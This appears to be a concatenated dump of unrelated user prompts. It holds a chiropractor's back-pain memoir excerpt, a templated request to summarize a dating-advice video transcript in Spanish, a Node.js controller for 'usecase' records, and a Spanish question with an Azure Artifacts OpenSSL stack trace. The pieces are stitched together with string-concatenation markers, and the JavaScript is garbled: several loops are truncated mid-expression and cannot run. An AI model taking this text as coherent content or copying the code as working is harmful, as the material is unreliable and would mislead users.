causes, including “slipped discs,” “ruptured discs,” “pinched nerves,” maybe cancer. Wow! But they could not fix my pain. I was somewhat medically astute, even as a kid, and I became increasingly convinced that a lot of these well-meaning, well-trained doctors didn’t really know an awful lot about my back pain. Sounds harsh, but it has turned out to be true of quite a few conventional doctors. \nIn near desperation, I turned to less traditional medicine—to chiropractors. And darned if I didn’t find at least some symptomatic relief. That was huge, and it opened my head to the possibility of going in that direction. I should mention that those particular chiropractors weren’t perfect, either. They didn’t begin to teach me how to make fundamental changes. They didn’t talk about changing my own behaviors or suggest how to take control of my own health or do any of the things that are at the heart of my practice today. But they did show me that the pain could be affected with simple muscle and joint work, and I was deeply impressed by that. Chiropractic treatment has its place in back care and offers many benefits when done properly. Skilled chiropractors use manual (with their hands) therapy to restore normal joint movement and muscle function through chiropractic adjustments and other techniques such as stretching and joint mobilization. This therapy can be invaluable, especially in the short term. But even today many chiropractors do not teach their patients how to make the necessary behavioral changes to permanently relieve back pain. \nI decided to train in chiropractic, because I wanted to dig deeper into what I already recognized as the real causes—and perhaps the real treatment—of serious back pain: behavior and behavioral change. That drove my very medical family crazy, as you can imagine, but in retrospect it was exactly the right decision. \nMy education was a long and complex process. I took guidance from a range of experts in the chiropractic and other fields. But I eventually developed my own analyses and my own approach to permanently ending back pain in my patients. Traditional medicine takes a basically deconstructivist approach: It generally takes complex problems apart, analyzes the pieces with exquisite care, then identifies and cures the particular problem. That deconstructivist approach works miraculously for many, many medical problems, but not for back pain. For back pain you want an integrationist approach. You want whole-body solutions.\nMy Personal Pain: Part Two \nI had a second round of back pain, long after I should have known better, and I want to tell you that embarrassing story for several reasons. First, because the pain was so dreadful, and I want you to know just how deeply I understand and empathize with significant pain. Second, I want to stress just how vulnerable all of us are to default behaviors that can raise holy hell with our backs, including people like me, who surely should have known better. And third, I want to show how quickly and effectively you can deal with even the gravest back pain, once you know what you’re doing. \nThe time is seven years ago. I was working part of the time on a very promising medical start-up venture. For six months, I was absolutely obsessed with it. I worked regular ten- and twelve-hour days with few breaks for leisure or exercise. Most of the time, I was bent over my computer. I worked like an absolute lunatic and did not think twice about my back. Pathetic. \nOne morning, after a particularly grueling stretch of days and nights, I woke up at six and started to sit up to go to the john. I was smacked by the most ferocious pain I’ve ever had in my life, even worse than anything from my skateboarding days. I was knocked flat on my back and could not budge. Even when I was lying absolutely still, the pain continued, unabated, at a fierce level. If I tried to move, it was much, much worse. I lived alone back then, and all I could do was lie there and wonder, in near panic: What in the world is going on? Just how bad is this? Am I going to die, for heaven’s sake? Not only was I in terrible pain; I was seriously scared. \nI remembered how “normal” back pain felt, a bad spasm or whatever. But this seemed to be way beyond that. So what was it? A ruptured disc would be the good news. At the other end of the spectrum, perhaps it was some weird cancer, somewhere in my spine. \nThat was ridiculous, but truly severe pain leads to some wild and unpredictable thoughts. I was sweating and breathing hard and was on the edge of panic. And that went on for what seemed like forever. At last my long scientific training and experience took over. The first step was to ask myself the questions I ask all my patients: How did this happen? What “behavior” might have caused this? It’s interesting just how often the sufferer knows intuitively what he or she had done (at least the triggering event) and I was no different. It did not take long to conclude that it was probably those months of nonstop work, bent over a computer. Of course! For someone with my history, that was nuts. And step one was to stop doing what had caused the pain in the first place. (If I ever managed to sit or stand again.) The problem right now was to ease the pain and move. With more than a little agony, I rolled onto my side to see if I could stand. I couldn’t. The pain ratcheted up to new levels and slapped me flat on my back again. It felt as if someone were stabbing me in my kidneys and dragging the knife down into my buttocks. It literally took my breath away. \nThen it was back to basics: I did what I always do in those relatively rare cases when I’m there during a patient’s attack. I told myself to tense my abdominal muscles a little and slowly pick up my left foot. I am lying flat in bed and picking up one foot, just a little bit. That simple first step, which I have counseled so many times, was bearable. It almost always is. I set that foot down and picked up the right foot, continuing to tense my abdominal muscles. That also was doable. Good. Then on to the next phase: I walked carefully, very gently, in place—lying on my back and not lifting my feet very far—for perhaps five minutes. The pain slowly lessened. I stopped, and did it again several times. I was “walking off” the pain. And I was easing what almost certainly was a particularly bad muscle spasm, somewhere near my lumbar spine. \nEventually, I felt ready to stand. I lightly tensed the muscles in my abdomen to support my spine and keep it still and rolled onto my side. As you will soon learn, this tensing of those muscles is called locking down or engaging your core. This time I could do it. I was careful to keep my lower back still and my abdomen braced throughout the movement. It was not pain-free, but I made it to my knees, then my feet. I was mighty careful to keep my lumbar spine still and my core engaged throughout, because I knew that, in the wake of an attack like this, the spasm and the pain were just waiting to come roaring back. Then I tried walking erect. And, yes, I could walk. I walked back and forth across the room carefully, keeping my core tight. I did that for quite a while and the spasm and pain calmed down. \nFor the rest of that day, I was very careful about how I moved, and my back continued to get better. I knew from experience that those first steps would work because I had taught them to so many others. For the rest of the day, I took it easy and did no more than a little easy walking. By tomorrow, I assured myself, my back will slowly loosen up. It will take a week to return to normal, because the spasm was so strong. But in a week, I will be there. Then I will resume my regular exercise regimen, and stick to it religiously. I will not sit at the computer for more than thirty minutes at a time without taking a break and walking around. And so on and so forth. In fact, I did all that. In a week, I was moving and living normally. I did not let the intensity of my work interfere with my exercise regimen ever again. And the pain never returned. \nWith my horror story behind us, I want to visit four other sufferers. But first, let Chris take you on a stroll down your own spine, and tell you about how your spine works and how it can go wrong.' +'Web search results:\nCurrent date: 25/2/2023\n\nInstructions: Using the provided web search results, write a comprehensive reply to the given query. Make sure to cite results using [[number](URL)] notation after the reference. If the provided search results refer to multiple subjects with the same name, write separate answers for each subject.\nQuery: Summarize the following.\nTitle: "(6) How To Confidently Flirt With Women - 3 Principles - YouTube"\nTranscript: "what are the principles of men communicating attractively to women so we have broken down uh the flirting process let\'s see if i can do this it\'s been a long time since i\'ve had to get out there and do this the first piece is [Laughter] so the first piece of it is just interest uh that we think about and let\'s pretend that you\'re in a bar or something uh what we\'re trying to avoid in this stage is i have to go to the bathroom i\'m just bored of you and so when we\'re talking about this this is the playful stuff that we mentioned it\'s a lot of the things with where do you what do you do where are you from finding ways to be interesting this isn\'t sexy necessarily this isn\'t i want to hook up with you it\'s just i want this interaction to continue the second piece that i think a lot of guys skip out on is having genuine standards when you receive a letter from harvard university that you\'ve been accepted it feels wonderful when you receive a letter from the community college that takes 100 of the people it doesn\'t feel good and the truth about dating like it or not is that we often date people to affirm things about ourselves so when you have no standards for this other person and they feel like they could have been anyone like truly it was their shape that attracted you to them it doesn\'t generate any sort of interest in you but if you\'re indicating through interaction for instance if you\'re out at a bar or a club and somebody is rude to a waiter or waitress or bartender you go oh my god i can\'t stand people who do that if i would you know i don\'t care how beautiful or fun or sexy you are like when i see that kind of behavior it\'s a total turn off just as an aside in a conversation that\'s communicating to the person that they care about my personality right and now the thing is you want to have genuine standards so this is easier for people who have dated and who have had you know perhaps dated something they were very attracted to who had personality traits that they didn\'t really like if you can go through your history and ask yourself what are the things that really do attract me to people that are not sexuality or you know shape based things what are the things that that make me uh repulsed and list those out and find ways to incorporate those into conversation for instance i have most enjoyed my relationships with women who were incredibly affectionate so when someone early in an interaction says i\'m a hugger i go oh my god i\'m going to love you like i\'m i\'m the same way i can\'t stand people that just want to like touch on the shoulder say hello we\'re like high five every time and that communicates to them that there are things that i am selecting for and you actually are within that category now it is crucial here to this is not a strategy to fake right if you\'re just saying these things and really it\'s like no it\'s you just have the shape and the look it\'s not gonna work nearly as well um and it\'s also just not good for you you\'re gonna wind up in the relationship that sucks and then the last piece is sexual tension and i think this is the part that is probably most uncomfortable for a lot of guys is being able to sit in a sexually tense scenario which might be lingering on eye contact with someone interaction with a smirk on your face it might be dancing close without having to crack a joke being able to manage that sexual tension while sometimes relieving it with that playful push-pull stuff is is does not come natural to most people they try to escape it as soon as they feel it and therefore they\'re sitting with that discomfort oh yeah and it\'s it is tense it\'s it\'s this in-between stage of do you like me do i like you are we gonna kiss or are we just look into each other\'s eyes and being able to hold that and enjoy that is something that we talk about it takes some time to develop but there are some things that you can do so for instance most people if they go on a date say you match someone on tinder or hinge they\'ll go to a bar they\'ll sit down on opposite sides of a booth talk about work you know and then they\'ll okay at the end of the night well i hope you had a good time and there\'s been no sexual tension built versus if you go to the bar you say hey let\'s sit over here you sit at the bar while you\'re communicating with them you put your hand on their hand when they make a joke you say i love that you give them a hug you know you you know hold their their arm while you\'re telling a story to demonstrate what somebody did you are building this sort of uh this physical tension between the two of you that gets more and more comfortable and allows for those sort of close is it happening isn\'t it happening interactions and you\'re not putting all the weight from going from zero to 60 with the good night kiss at the doorstep which feels awful and it\'s just an amount of like discomfort that is that is not fun for anybody to experience so those are those are the sort of the buckets that we that i think about at least when i\'m talking about it and what i try to ask guys specifically to do because it\'s a different scenario with girls is to think about where they are not uh going to the next level and it\'s like oh they\'re just walking away from me as i start conversations like okay let\'s talk about being more interesting in conversation or i\'ve never actually uh you know i\'m hitting on girls and i\'m being fun and interesting but they have a sense that i\'m just a player and they don\'t want to talk to me it\'s like well you\'ve got no standards and then so going through those using that as a diagnostic tool is is something that we do i think guys are probably quite fearful about running out of stuff to say as well have you got strategies for small talk yeah so uh one there\'s there\'s a couple of different videos in terms of women uh specifically in flirting scenarios this is the hardest things my brain is like this and you\'ve seen in this interaction i\'m a logistical person when you ask me a question i want to answer it literally the best thing for small talk is to recognize that especially on a date or in a borrower club they just want a vibe you don\'t have to have topics it\'s not about not [\xa0\\_\\_\xa0] podcast work yeah it\'s it\'s a podcast it\'s not supposed to be that it\'s supposed to be fun playful world building so uh you know if she says oh my god like you went to jamaica i studied abroad there be like oh my god fantastic after this bar we\'re going to the airport we\'re going to get on a plane we\'re going to go scuba diving we\'ll be there tomorrow morning we\'re going to have to fund this so somehow i don\'t know i\'m going to have to take up a job selling lucy cigarettes on the street whatever you\'re just like just this playful world building is a way that men tend not to instinctively communicate what do you mean by world building uh what i just created was almost an improvisational comedy sk scenario like we\'re going to go here here\'s what\'s going to happen obviously none of this is real this is this is i\'m definitely not going to sell lucy cigarettes to fund a plane ride for tomorrow but when you can build these fake fun obviously not real fantasy scenarios that people participate in and sometimes men do this with their with their good friends when they\'re all on a group of people you know that would be like if blah blah blah oh my god when you do that with women in fun ways that tends to uh set the vibe to be this fun flirty thing that she can contribute to and say well we\'re not going to stay in the same room tonight be like perfect i\'m going to get a i\'m going to have the penthouse and you could sleep in you know the water closet or whatever and no i don\'t want to sleep in the water closet so these these are the types of things that are ridiculous that most men would never think about doing in conversation but that are genuinely fun once you try on this new style of of conversing now of course there\'s still going to be time for what do you do where you from what\'s your work but especially in a bar nightclub scenario which is i think what i\'m tending towards more if you lead with here\'s my cool job i work at goldman sachs that\'s incredibly boring i can\'t tell you the number of guys in new york i saw who started by handing out business cards instead of doing this fun stuff first and then they\'ll be like who are you tell me about yourself and then at that point the goldman sachs thing actually comes in as a patent interrupt and you\'re like oh holy [\xa0\\_\\_\xa0] like he\'s actually funny and interesting and he\'s prepared to sell loose cigarettes and he\'s got a job at an investment bank yes exactly and the best way then when you\'re talking about you know okay i work in investment bank is to speak to your values again people want to know your vibe and your values not just the logistics of what you do so if you say i work at goldman sachs a much stronger way is to think what drove me hopefully it\'s not just a sense of greed but like you know i grew up poor and i always wanted to be able to take care of my mom and family so like you know i don\'t want to be an investment banker for the rest of my life but it\'s helping me to one day buy a house for my mom like that if if true so attractive so so much more engaging than i\'m a banker at goldman sachs so if you\'re setting a vibe or sharing your values those are two very strong modes of conversation to be in compared to just answering questions logistically honestly yeah that\'s an interesting one man i am i\'m interested to find out what you think most men go wrong when approaching women and if there\'s girls that are watching they can put some of their nightmare scenarios down in the comments below as well women have a very different understanding of this because they\'re when they think what goes wrong with men they\'re selecting for the men that have approached them right and so they\'re going oh they were way too pushy way too forward they said this goofy thing they did some r nice guys stuff where they told me like they could be my boyfriend and i\'d never have to go cold the truth is most guys are are not in that category they\'re not walking up to you they\'re thinking about it uh but not doing it right so that\'s that\'s by far 99.9 that\'s 99.9 is not engaging in conversation uh so that\'s definitely the the thing that most of them do wrong though when women think about what most men do wrong they\'re going to go to the horror stories of the 0.1 percent that just come in like complete arrogant asses uh so yeah it\'s it\'s not it\'s disqualifying yourself before before you\'ve spoken to someone uh and there\'s a hundred different ways to speak to someone mentalities that can help but uh going in with a vibe of curiosity and again flirt with the world i think one of the things that men do wrong is that they try to be these snipers which is like these boring people who walk through life not talking to anyone not engaging with the cashier and then they\'re going to see the most beautiful woman at the bar who is surrounded by people who want to speak to her and they\'re going to go now i\'m going to turn it on yeah by the power of gray school they decide to pick up a [\xa0\\_\\_\xa0] right this it\'s time to turn it on it\'s time to do it yeah and then they he they hulk out and and just do it that\'s not how it\'s ever been with me i haven\'t seen it done that way it it\'s by flirting with the world it\'s by recognizing that the person that you should flirt with is the next person you interact with and whether that\'s someone in your apartment building as you\'re taking the elevator who is an older gentleman like being that outgoing fun friendly person setting a vibe goofing off and then just happening to be near the person that you\'re interested in is going to be much much more powerful because it\'s not something that you\'ve got to like gear up for it\'s something that is going to be habituated into the way that you\'re used to speaking with people it won\'t feel like such a stretch what\'s happening people if you enjoyed that then press here for the full unedited episode and don\'t forget to subscribe peace you"\nReply in Español' +'controllers/usecase.js\nconst \\_ = require("lodash");\nconst { v4: uuidv4 } = require("uuid");\n\nconst { checkValidation } = require("../utils/checkValidation.utils.js");\nconst usecaseQueries = require("../queries/usecase");\nconst { pgp, pgDb } = require("../db/dbConnect");\nconst { getTimezoneTimestamp } = require("../utils/getTimezoneTimestamp");\n\nconst DB\\_SCHEMA = "public";\nconst USECASE\\_TABLE = "usecase";\nconst CONTENT\\_TABLE = "content";\n\n/\\*\\*\n \\* Takes object of the form {"key1": {}, "key2": {}}\n \\* @param {object} records \n \\* @returns array of form [{}, {}], these objects are values of key1 and key2\n \\*/\nconst convertUsecasesToArray = (records) => {\n return new Array(records).reduce(function (r, o) {\n Object.keys(o).forEach(function (k) {\n r.push(o[k]);\n });\n return r;\n }, []);\n}\n\n/\\*\\*\n \\* takes array of response coming from left join query on usecase and content,\n \\* as 1 usecase can have multiple content, it groups contents inside array and link it to single record of usecase\n \\* @param {object} queryResp \n \\* @returns object of type {"key1": {}, "key2": {}}\n \\*/\nconst processUsecaseRespOfLeftJoin = (queryResp) => {\n const processedRecords = {};\n const uniqueUsecases = new Set();\n for(let i=0; i {\n try {\n // validate request body\n checkValidation(req, res);\n\n // first check if usecase has at least 1 unique content (to prevent usecase without content)\n const uniqueContentsNames = new Set();\n let contents = new Array(req?.body?.contents.length);\n const usecaseId = uuidv4();\n\n for(let i=0; i \\_.pick(item, ["id"]))\n }\n });\n } catch (error) {\n console.log(`Error while creating usercase :: `, error);\n return res.status(error.status || 500).send(error);\n }\n}\n\nexports.getUsecases = async (req, res, next) => {\n try {\n const companyId = res?.locals?.user?.company\\_id;\n\n // build limit and page number\n const limit = req.query.limit != undefined ? parseInt(req.query.limit) : 10;\n const page = req.query.page != undefined ? parseInt(req.query.page) : 1;\n const offset = (page-1)\\*limit;\n\n // get usecases based on comapny id and also include content\n const usecasesResp = await pgDb.any(usecaseQueries.getUsecases, {\n schema: DB\\_SCHEMA,\n usecaseTable: USECASE\\_TABLE,\n contentTable: CONTENT\\_TABLE,\n companyId: companyId,\n limit: limit,\n offset: offset\n });\n\n // process records\n const totalCount = usecasesResp?.length ? parseInt(usecasesResp[0]?.total\\_count || 0) : 0;\n const processedRecords = processUsecaseRespOfLeftJoin(usecasesResp);\n\n // convert to array\n const usecases = convertUsecasesToArray(processedRecords)\n\n return res.status(200).send({\n message: "Usecase feched successfully",\n data: {\n usecases,\n page: page,\n limit: limit,\n totalCount: totalCount,\n totalPages: Math.ceil(totalCount/limit)\n }\n });\n } catch (error) {\n console.log(`Error while fetching usecases :: `, error);\n return res.status(error.status || 500).send(error);\n }\n}\n\nexports.getUsecaseById = async (req, res, next) => {\n try {\n // validate request body\n checkValidation(req, res);\n\n const usecaseId = req.params.usecaseId;\n const useCaseDetails = await pgDb.any(usecaseQueries.getUsecaseById, {\n schema: DB\\_SCHEMA,\n usecaseTable: USECASE\\_TABLE,\n contentTable: CONTENT\\_TABLE,\n usecaseId: usecaseId\n });\n console.log("Response from DB :: ", useCaseDetails);\n\n // return error if nothing found\n if(!!useCaseDetails && !useCaseDetails?.length){\n return res.status(404).send({\n message: "Usecase detials not found"\n });\n } \n\n // check if company\\_id of fetch usecase matches with the company id of user, if not, throw error\n if(!!useCaseDetails && useCaseDetails[0]?.company\\_id !== res?.locals?.user?.company\\_id){\n return res.status(405).send({\n message: "You\'re not allowed to access this usecase"\n })\n }\n\n // process records\n const processedRecords = processUsecaseRespOfLeftJoin(useCaseDetails);\n\n return res.status(200).send({\n message: "Usecase fectched successfully",\n data: {\n usecase: processedRecords[useCaseDetails[0]?.id]\n }\n });\n } catch (error) {\n console.log(`Error while fetching usecase details :: `, error);\n return res.status(error.status || 500).send(error);\n }\n}\n\nexports.updateUsecaseById = async (req, res, next) => {\n try {\n // validate request body\n checkValidation(req, res);\n \n return res.status(200).send({\n message: "Usecase updated successfully"\n })\n } catch (error) {\n console.log(`Error while updating usecase details :: `, error);\n return res.status(error.status || 500).send(error);\n }\n}\n\nexports.deleteUsecaseById = async (req, res, next) => {\n try {\n // validate request body\n checkValidation(req, res);\n\n const usecaseId = req.params.usecaseId;\n const usecaseCompanyId = await pgDb.any(usecaseQueries.getUsecaseCompanyId,{\n schema: DB\\_SCHEMA,\n table: USECASE\\_TABLE,\n usecaseId: usecaseId\n });\n\n // return error if nothing found\n if(!!usecaseCompanyId && !usecaseCompanyId?.length){\n return res.status(404).send({\n message: "Usecase not found"\n });\n } \n\n // check if company\\_id of fetched usecase matches with the company id of user, if not, throw error\n if(!!usecaseCompanyId && usecaseCompanyId?.length && usecaseCompanyId[0]?.company\\_id !== res?.locals?.user?.company\\_id){\n return res.status(405).send({\n message: "You\'re not allowed to delete this usecase"\n })\n }\n\n // first, update status of contents to "archived", then update status of usecase "archived"\n const timestamp = getTimezoneTimestamp();\n await pgDb.any(usecaseQueries.archiveUsecaseContents, {\n schema: DB\\_SCHEMA,\n table: CONTENT\\_TABLE,\n usecaseId: usecaseId,\n updatedAt: timestamp\n });\n console.log("Contents archived for usecaseId :: ", usecaseId);\n\n await pgDb.any(usecaseQueries.archiveUsecase, {\n schema: DB\\_SCHEMA,\n table: USECASE\\_TABLE,\n usecaseId: usecaseId,\n updatedAt: timestamp\n })\n console.log("Usecase archived for usecaseId :: ", usecaseId);\n\n return res.status(200).send({\n message: "Usecase deleted successfully",\n data: {\n id: usecaseId\n }\n })\n } catch (error) {\n console.log(`Error while deleting usecase details :: `, error);\n return res.status(error.status || 500).send(error);\n }\n}\n\nexports.searchUsecase = async (req, res, next) => {\n try {\n // validate request body\n checkValidation(req, res);\n\n const searchText = req.query.searchText;\n\n // build limit and page number\n const limit = req.query.limit != undefined ? parseInt(req.query.limit) : 10;\n const page = req.query.page != undefined ? parseInt(req.query.page) : 1;\n const offset = (page-1)\\*limit;\n\n const usecaseSearched = await pgDb.any(usecaseQueries.searchUsecase, {\n schema: DB\\_SCHEMA,\n usecaseTable: USECASE\\_TABLE,\n contentTable: CONTENT\\_TABLE,\n companyId: res?.locals?.user?.company\\_id,\n searchText: `%${searchText}%`,\n limit: limit,\n offset: offset\n })\n console.log("Usecase matched with querystring :: ", usecaseSearched);\n\n // process records\n const totalCount = usecaseSearched?.length ? parseInt(usecaseSearched[0]?.total\\_count || 0) : 0;\n const processedRecords = processUsecaseRespOfLeftJoin(usecaseSearched);\n\n // convert to array\n const usecases = convertUsecasesToArray(processedRecords)\n\n return res.status(200).send({\n message: "Usecase tables searched successfully",\n data: {\n usecases: usecases,\n page: page,\n limit: limit,\n totalCount: totalCount,\n totalPages: Math.ceil(totalCount/limit)\n }\n })\n } catch (error) {\n console.log(`Error while searching usecase :: `, error);\n return res.status(error.status || 500).send(error);\n }\n}' +"Tengo el siguiente error al intentar subir imágenes con az artifacts universal publish en Ubuntu 22.04\npablo@PC:~/repos/project-ban-ahorro-backup$ ./scripts/generate-docker-images-links.sh \nEncountered an unexpected error.\nSystem.Net.Http.HttpRequestException: The SSL connection could not be established, see inner exception.\n ---> System.TypeInitializationException: The type initializer for 'WorkingChain' threw an exception.\n ---> System.TypeInitializationException: The type initializer for 'System.Security.Cryptography.SafeEvpPKeyHandle' threw an exception.\n ---> System.DllNotFoundException: Unable to load shared library 'libSystem.Security.Cryptography.Native.OpenSsl' or one of its dependencies. In order to help diagnose loading problems, consider setting the LD\\_DEBUG environment variable: liblibSystem.Security.Cryptography.Native.OpenSsl: cannot open shared object file: No such file or directory\n at Interop.OpenSsl.OpenSslVersionNumber()\n at System.Security.Cryptography.SafeEvpPKeyHandle..cctor()\n --- End of inner exception stack trace ---\n at System.Security.Cryptography.SafeEvpPKeyHandle.get\\_OpenSslVersion()\n at Internal.Cryptography.Pal.OpenSslX509ChainProcessor.WorkingChain..cctor()\n --- End of inner exception stack trace ---\n at Internal.Cryptography.Pal.OpenSslX509ChainProcessor.Finish(OidCollection applicationPolicy, OidCollection certificatePolicy)\n at Internal.Cryptography.Pal.ChainPal.BuildChain(Boolean useMachineContext, ICertificatePal cert, X509Certificate2Collection extraStore, OidCollection applicationPolicy, OidCollection certificatePolicy, X509RevocationMode revocationMode, X509RevocationFlag revocationFlag, DateTime verificationTime, TimeSpan timeout)\n at System.Security.Cryptography.X509Certificates.X509Chain.Build(X509Certificate2 certificate, Boolean throwOnException)\n at System.Security.Cryptography.X509Certificates.X509Chain.Build(X509Certificate2 certificate)\n at System.Net.Security.CertificateValidation.BuildChainAndVerifyProperties(X509Chain chain, X509Certificate2 remoteCertificate, Boolean checkCertName, String hostName)\n at System.Net.Security.SecureChannel.VerifyRemoteCertificate(RemoteCertValidationCallback remoteCertValidationCallback, ProtocolToken& alertToken)\n at System.Net.Security.SslStream.CompleteHandshake(ProtocolToken& alertToken)\n at System.Net.Security.SslStream.CheckCompletionBeforeNextReceive(ProtocolToken message, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.StartSendBlob(Byte[] incoming, Int32 count, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.ProcessReceivedBlob(Byte[] buffer, Int32 count, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.StartReadFrame(Byte[] buffer, Int32 readBytes, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.StartReceiveBlob(Byte[] buffer, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.CheckCompletionBeforeNextReceive(ProtocolToken message, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.StartSendBlob(Byte[] incoming, Int32 count, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.ProcessReceivedBlob(Byte[] buffer, Int32 count, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.StartReadFrame(Byte[] buffer, Int32 readBytes, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.StartReceiveBlob(Byte[] buffer, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.CheckCompletionBeforeNextReceive(ProtocolToken message, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.StartSendBlob(Byte[] incoming, Int32 count, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.ProcessReceivedBlob(Byte[] buffer, Int32 count, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.StartReadFrame(Byte[] buffer, Int32 readBytes, AsyncProtocolRequest asyncRequest)\n at System.Net.Security.SslStream.PartialFrameCallback(AsyncProtocolRequest asyncRequest)\n--- End of stack trace from previous location where exception was thrown ---\n at System.Net.Security.SslStream.ThrowIfExceptional()\n at System.Net.Security.SslStream.InternalEndProcessAuthentication(LazyAsyncResult lazyResult)\n at System.Net.Security.SslStream.EndProcessAuthentication(IAsyncResult result)\n at System.Net.Security.SslStream.EndAuthenticateAsClient(IAsyncResult asyncResult)\n at System.Net.Security.SslStream.<>c.b\\_\\_65\\_1(IAsyncResult iar)\n at System.Threading.Tasks.TaskFactory`1.FromAsyncCoreLogic(IAsyncResult iar, Func`2 endFunction, Action`1 endAction, Task`1 promise, Boolean requiresSynchronization)\n--- End of stack trace from previous location where exception was thrown ---\n at System.Net.Http.ConnectHelper.EstablishSslConnectionAsyncCore(Stream stream, SslClientAuthenticationOptions sslOptions, CancellationToken cancellationToken)\n --- End of inner exception stack trace ---\n at Microsoft.VisualStudio.Services.Common.VssHttpRetryMessageHandler.SendAsync(HttpRequestMessage request, CancellationToken cancellationToken)\n at System.Net.Http.HttpClient.FinishSendAsyncBuffered(Task`1 sendTask, HttpRequestMessage request, CancellationTokenSource cts, Boolean disposeCts)\n at Microsoft.VisualStudio.Services.WebApi.VssHttpClientBase.SendAsync(HttpRequestMessage message, HttpCompletionOption completionOption, Object userState, CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.WebApi.VssHttpClientBase.SendAsync[T](HttpRequestMessage message, Object userState, CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.Location.Client.LocationHttpClient.GetConnectionDataAsync(ConnectOptions connectOptions, Int64 lastChangeId, CancellationToken cancellationToken, Object userState)\n at Microsoft.VisualStudio.Services.WebApi.Location.VssServerDataProvider.GetConnectionDataAsync(ConnectOptions connectOptions, Int32 lastChangeId, CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.WebApi.Location.VssServerDataProvider.ConnectAsync(ConnectOptions connectOptions, CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.WebApi.Location.VssServerDataProvider.EnsureConnectedAsync(ConnectOptions optionsNeeded, CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.WebApi.Location.VssServerDataProvider.GetInstanceIdAsync(CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.WebApi.Location.LocationService.GetLocationDataAsync(Guid locationAreaIdentifier, CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.WebApi.VssConnection.GetClientInstanceAsync(Type managedType, Guid serviceIdentifier, CancellationToken cancellationToken, VssHttpRequestSettings settings, DelegatingHandler[] handlers)\n at Microsoft.VisualStudio.Services.WebApi.VssConnection.GetClientServiceImplAsync(Type requestedType, Guid serviceIdentifier, Func`4 getInstanceAsync, CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.WebApi.VssConnection.GetClientAsync[T](CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.Content.Common.AsyncHttpRetryHelper`1.InvokeAsync(CancellationToken cancellationToken)\n at Microsoft.VisualStudio.Services.Content.Common.ExceptionExtensions.ReThrow(Exception ex)\n at Microsoft.VisualStudio.Services.Content.Common.AsyncHttpRetryHelper`1.InvokeAsync(CancellationToken cancellationToken)\n at ArtifactTool.DedupManifestArtifactClientProvider.GetDedupManifestArtifactClientAsync(String serviceUrl, String patVar, ILogger commandBaseLogger, IAppTraceSource tracer, String cacheDirectory, Boolean cacheWriteAllowed, CancellationToken cancellationToken) in D:\\a\\1\\s\\src\\ArtifactTool\\Providers\\DedupManifestArtifactClient\\DedupManifestArtifactClientProvider.cs:line 56\n at ArtifactTool.Commands.UPackPublishCommand.ExecuteAsync() in D:\\a\\1\\s\\src\\ArtifactTool\\Commands\\UPack\\UPackPublishCommand.cs:line 51\n at ArtifactTool.Commands.CommandBase.OnExecuteAsync() in D:\\a\\1\\s\\src\\ArtifactTool\\Commands\\CommandBase.cs:line 105\n at McMaster.Extensions.CommandLineUtils.Conventions.ExecuteMethodConvention.InvokeAsync(MethodInfo method, Object instance, Object[] arguments) in C:\\projects\\commandlineutils\\src\\CommandLineUtils\\Conventions\\ExecuteMethodConvention.cs:line 77\n at McMaster.Extensions.CommandLineUtils.Conventions.ExecuteMethodConvention.OnExecute(ConventionContext context) in C:\\projects\\commandlineutils\\src\\CommandLineUtils\\Conventions\\ExecuteMethodConvention.cs:line 62\n at McMaster.Extensions.CommandLineUtils.Conventions.ExecuteMethodConvention.<>c\\_\\_DisplayClass0\\_0.d.MoveNext() in C:\\projects\\commandlineutils\\src\\CommandLineUtils\\Conventions\\ExecuteMethodConvention.cs:line 25\n--- End of stack trace from previous location where exception was thrown ---\n at McMaster.Extensions.CommandLineUtils.CommandLineApplication.<>c\\_\\_DisplayClass126\\_0.b\\_\\_0() in C:\\projects\\commandlineutils\\src\\CommandLineUtils\\CommandLineApplication.cs:line 505\n at McMaster.Extensions.CommandLineUtils.CommandLineApplication.Execute(String[] args) in C:\\projects\\commandlineutils\\src\\CommandLineUtils\\CommandLineApplication.cs:line 611\n at McMaster.Extensions.CommandLineUtils.CommandLineApplication.Execute[TApp](CommandLineContext context) in C:\\projects\\commandlineutils\\src\\CommandLineUtils\\CommandLineApplication.Execute.cs:line 57\n at McMaster.Extensions.CommandLineUtils.CommandLineApplication.ExecuteAsync[TApp](CommandLineContext context) in C:\\projects\\commandlineutils\\src\\CommandLineUtils\\CommandLineApplication.Execute.cs:line 145\n at McMaster.Extensions.CommandLineUtils.CommandLineApplication.ExecuteAsync[TApp](IConsole console, String[] args) in C:\\projects\\commandlineutils\\src\\CommandLineUtils\\CommandLineApplication.Execute.cs:line 130\n at McMaster.Extensions.CommandLineUtils.CommandLineApplication.ExecuteAsync[TApp](String[] args) in C:\\projects\\commandlineutils\\src\\CommandLineUtils\\CommandLineApplication.Execute.cs:line 112\nProcess ['/home/pablo/.azure/azuredevops/cli/tools/artifacttool/ArtifactTool\\_linux-x64\\_0.2.267/artifacttool', 'universal', 'publish', '--service', 'https://dev.azure.com/bkinfra/', '--patvar', 'AZURE\\_DEVOPS\\_EXT\\_ARTIFACTTOOL\\_PATVAR', '--feed', 'feed-be-coinscrap', '--package-name', 'coinscrap-us', '--package-version', '4.7.1', '--path', '/tmp/coinscrap-us.tar'] with PID 45800 exited with return code 1" +'CHAPTER SEVEN\n RULE #2\n Be Still So You Can Heal (The Neutral Spine)\n From Jeremy\nLet’s assume that you are beginning to get the 